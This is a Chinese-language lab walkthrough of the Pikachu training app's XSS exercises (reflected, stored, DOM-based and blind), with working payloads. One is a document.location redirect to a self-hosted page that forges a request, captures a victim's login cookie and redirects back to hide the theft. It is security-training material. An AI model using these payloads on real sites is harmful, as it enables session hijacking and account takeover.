1.反射xss(get)
<script>alert(1)</script>(由于限制长度,需要修改前端的长度)
(其实get方法才是常见的,post很难做到诱导,因为涉及提交表单,用户是不会主动把你的恶意代码输入的.但我可以构造get请求:
(那上面为什么不直接诱导访问恶意代码的网站?那肯定可以看出来不对啊........借xss反射型放在参数位置就可以掩盖了)
2.反射xss(post)
登陆后和第一个的情况一样,不过这里可以窃取客户端cookie
欺骗cookie过程:(好像这个过程和那个输入框没什么关系,主要是诱导用户点击)
(1)诱导用户点击:(如输入框输入:<script>document.location = ‘http://127.0.0.1:801/pikachu-master/pkxss/xcookie/post.html‘;</script>)
http://127.0.0.1:801/pikachu-master/pkxss/xcookie/post.html(post.html为自己搭建的一个恶意站点)
(2)该站点向目标网站http://127.0.0.1:801/pikachu-master/vul/xss/xsspost/xss_reflected_post.php发送请求(相当于借用户进行请求拿取该用户的cookie,这不就csrf了吗....)然后获得用户登陆该网站的cookie
(3)恶意网站为防止用户发现不对劲,重定回正常的网站
3.存储型xss
存储型XSS和反射型XSS形成的原因是一样的,不同的是存储型XSS下攻击者的可以将脚本注入到后台数据库存储起来,构成大范围的危害
4.DOM型xss
‘ onclick="alert(‘xss‘)">
成功弹窗
原理:
它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str
然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中
我们通过闭合的方式构造Payload
5.DOM型xss-x
随便测测
点击后发现多出一行字
查看网页源代码
继续尝试
‘ onclick="alert(‘xss‘)">
这里它定义了一个domxss函数
它利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str
然后经过URL解码和字符串分隔,取出URL中的参数内容
再把 “+” 替换为 “ ”(空格),赋值给 xss
最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中
跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)
6.xss盲打
原文:https://www.cnblogs.com/P201721460006/p/12056497.html